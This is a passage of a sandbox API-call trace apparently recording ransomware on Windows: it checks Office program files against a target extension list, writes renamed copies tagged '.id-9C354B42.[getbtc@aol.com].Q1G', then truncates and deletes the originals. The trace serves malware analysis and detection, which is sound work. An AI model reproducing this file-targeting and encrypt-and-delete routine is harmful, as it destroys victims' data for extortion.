(lpString=".rar") returned 4 [0258.758] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.758] lstrlenW (lpString=".bz2") returned 4 [0258.758] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.758] lstrlenW (lpString=".7z") returned 3 [0258.758] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.758] lstrlenW (lpString=".dbf") returned 4 [0258.758] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.758] lstrlenW (lpString=".1cd") returned 4 [0258.758] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.758] lstrlenW (lpString=".jpg") returned 4 [0258.758] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.758] lstrlenW (lpString=".doc") returned 4 [0258.759] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.759] lstrlenW (lpString=".docx") returned 5 [0258.759] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1 [0258.759] lstrlenW (lpString=".pdf") returned 4 [0258.759] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.759] lstrlenW (lpString=".xls") returned 4 [0258.759] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.759] lstrlenW (lpString=".xlsx") returned 5 [0258.759] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1 [0258.759] lstrlenW (lpString=".ppt") returned 4 [0258.759] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.759] lstrlenW (lpString=".zip") returned 4 [0258.759] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.759] lstrlenW (lpString=".rar") returned 4 [0258.759] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.759] lstrlenW (lpString=".bz2") returned 4 [0258.759] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.759] lstrlenW (lpString=".7z") returned 3 [0258.759] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.759] lstrlenW (lpString=".dbf") returned 4 [0258.759] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.759] lstrlenW (lpString=".1cd") returned 4 [0258.759] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0258.759] lstrlenW (lpString=".jpg") returned 4 [0258.759] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.759] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0258.760] lstrlenW (lpString="CDLMSO.DLL") returned 10 [0258.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.798] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=531800) returned 1 [0258.798] CloseHandle (hObject=0x390) returned 1 [0258.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll")) returned 0x20 [0258.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.798] lstrlenW (lpString=".doc") returned 4 [0258.798] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.798] lstrlenW (lpString=".docx") returned 5 [0258.799] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0258.799] lstrlenW (lpString=".pdf") returned 4 [0258.799] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.799] lstrlenW (lpString=".xls") returned 4 [0258.799] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.799] lstrlenW (lpString=".xlsx") returned 5 [0258.799] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0258.799] lstrlenW (lpString=".ppt") returned 4 [0258.799] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.799] lstrlenW (lpString=".zip") returned 4 [0258.799] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.799] lstrlenW (lpString=".rar") returned 4 [0258.799] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.799] lstrlenW (lpString=".bz2") returned 4 [0258.799] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.799] lstrlenW (lpString=".7z") returned 3 [0258.799] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.799] lstrlenW (lpString=".dbf") returned 4 [0258.799] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.799] lstrlenW (lpString=".1cd") returned 4 [0258.799] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.799] lstrlenW (lpString=".jpg") returned 4 [0258.799] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.799] lstrlenW (lpString=".doc") returned 4 [0258.799] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.799] lstrlenW (lpString=".docx") returned 5 [0258.799] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0258.799] lstrlenW (lpString=".pdf") returned 4 [0258.799] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.800] lstrlenW (lpString=".xls") returned 4 [0258.800] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.800] lstrlenW (lpString=".xlsx") returned 5 [0258.800] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0258.800] lstrlenW (lpString=".ppt") returned 4 [0258.800] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.800] lstrlenW (lpString=".zip") returned 4 [0258.800] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.800] lstrlenW (lpString=".rar") returned 4 [0258.800] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.800] lstrlenW (lpString=".bz2") returned 4 [0258.800] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.800] lstrlenW (lpString=".7z") returned 3 [0258.800] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.800] lstrlenW (lpString=".dbf") returned 4 [0258.800] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.800] lstrlenW (lpString=".1cd") returned 4 [0258.800] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0258.800] lstrlenW (lpString=".jpg") returned 4 [0258.800] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.800] lstrcmpiW (lpString1=".chr", lpString2=".Q1G") returned -1 [0258.800] lstrlenW (lpString="CharSetTable.chr") returned 16 [0258.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.801] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=56514) returned 1 [0258.801] CloseHandle (hObject=0x390) returned 1 [0258.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 0x20 [0258.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.802] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.802] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.803] GetLastError () returned 0x0 [0258.803] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xdcc2, lpOverlapped=0x0) returned 1 [0258.817] WriteFile (in: hFile=0x3c0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xdcd0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xdcd0, lpOverlapped=0x0) returned 1 [0258.818] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.818] WriteFile (in: hFile=0x3c0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0258.818] SetEndOfFile (hFile=0x3c0) returned 1 [0258.819] CloseHandle (hObject=0x3c0) returned 1 [0258.819] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.819] SetEndOfFile (hFile=0x390) returned 1 [0258.821] CloseHandle (hObject=0x390) returned 1 [0258.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 1 [0258.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.851] lstrlenW (lpString=".doc") returned 4 [0258.851] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1 [0258.851] lstrlenW (lpString=".docx") returned 5 [0258.851] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1 [0258.851] lstrlenW (lpString=".pdf") returned 4 [0258.851] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1 [0258.851] lstrlenW (lpString=".xls") returned 4 [0258.851] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1 [0258.851] lstrlenW (lpString=".xlsx") returned 5 [0258.851] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1 [0258.851] lstrlenW (lpString=".ppt") returned 4 [0258.851] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1 [0258.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.851] lstrlenW (lpString=".zip") returned 4 [0258.851] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1 [0258.851] lstrlenW (lpString=".rar") returned 4 [0258.851] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1 [0258.851] lstrlenW (lpString=".bz2") returned 4 [0258.852] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1 [0258.852] lstrlenW (lpString=".7z") returned 3 [0258.852] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1 [0258.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.852] lstrlenW (lpString=".dbf") returned 4 [0258.852] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1 [0258.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.852] lstrlenW (lpString=".1cd") returned 4 [0258.852] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1 [0258.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.852] lstrlenW (lpString=".jpg") returned 4 [0258.852] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1 [0258.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.852] lstrlenW (lpString=".doc") returned 4 [0258.852] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1 [0258.852] lstrlenW (lpString=".docx") returned 5 [0258.852] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1 [0258.852] lstrlenW (lpString=".pdf") returned 4 [0258.852] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1 [0258.852] lstrlenW (lpString=".xls") returned 4 [0258.852] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1 [0258.852] lstrlenW (lpString=".xlsx") returned 5 [0258.852] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1 [0258.852] lstrlenW (lpString=".ppt") returned 4 [0258.852] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1 [0258.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.852] lstrlenW (lpString=".zip") returned 4 [0258.852] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1 [0258.852] lstrlenW (lpString=".rar") returned 4 [0258.852] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1 [0258.852] lstrlenW (lpString=".bz2") returned 4 [0258.852] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1 [0258.852] lstrlenW (lpString=".7z") returned 3 [0258.852] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1 [0258.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.853] lstrlenW (lpString=".dbf") returned 4 [0258.853] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1 [0258.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.853] lstrlenW (lpString=".1cd") returned 4 [0258.853] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1 [0258.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0258.853] lstrlenW (lpString=".jpg") returned 4 [0258.853] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1 [0258.853] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0258.853] lstrlenW (lpString="DELIMR.FAE") returned 10 [0258.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.857] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=10144) returned 1 [0258.857] CloseHandle (hObject=0x3c0) returned 1 [0258.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 0x20 [0258.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.857] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.857] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.024] GetLastError () returned 0x0 [0259.024] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x27a0, lpOverlapped=0x0) returned 1 [0259.063] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0259.064] ReadFile (in: hFile=0x3c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.064] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0259.064] SetEndOfFile (hFile=0x3b8) returned 1 [0259.064] CloseHandle (hObject=0x3b8) returned 1 [0259.064] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.064] SetEndOfFile (hFile=0x3c0) returned 1 [0259.066] CloseHandle (hObject=0x3c0) returned 1 [0259.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 1 [0259.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.067] lstrlenW (lpString=".doc") returned 4 [0259.067] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.067] lstrlenW (lpString=".docx") returned 5 [0259.067] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.067] lstrlenW (lpString=".pdf") returned 4 [0259.067] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.067] lstrlenW (lpString=".xls") returned 4 [0259.067] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.068] lstrlenW (lpString=".xlsx") returned 5 [0259.068] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.068] lstrlenW (lpString=".ppt") returned 4 [0259.068] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.068] lstrlenW (lpString=".zip") returned 4 [0259.068] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.068] lstrlenW (lpString=".rar") returned 4 [0259.068] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.068] lstrlenW (lpString=".bz2") returned 4 [0259.068] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.068] lstrlenW (lpString=".7z") returned 3 [0259.068] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.068] lstrlenW (lpString=".dbf") returned 4 [0259.068] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.068] lstrlenW (lpString=".1cd") returned 4 [0259.068] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.068] lstrlenW (lpString=".jpg") returned 4 [0259.068] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.068] lstrlenW (lpString=".doc") returned 4 [0259.068] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.068] lstrlenW (lpString=".docx") returned 5 [0259.068] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.068] lstrlenW (lpString=".pdf") returned 4 [0259.068] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.068] lstrlenW (lpString=".xls") returned 4 [0259.068] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.068] lstrlenW (lpString=".xlsx") returned 5 [0259.068] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.068] lstrlenW (lpString=".ppt") returned 4 [0259.068] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.069] lstrlenW (lpString=".zip") returned 4 [0259.069] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.069] lstrlenW (lpString=".rar") returned 4 [0259.069] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.069] lstrlenW (lpString=".bz2") returned 4 [0259.069] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.069] lstrlenW (lpString=".7z") returned 3 [0259.069] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.069] lstrlenW (lpString=".dbf") returned 4 [0259.069] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.069] lstrlenW (lpString=".1cd") returned 4 [0259.069] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0259.069] lstrlenW (lpString=".jpg") returned 4 [0259.069] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.069] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.069] lstrlenW (lpString="OLADDR.FAE") returned 10 [0259.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0259.099] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=13744) returned 1 [0259.099] CloseHandle (hObject=0x3c0) returned 1 [0259.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 0x20 [0259.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 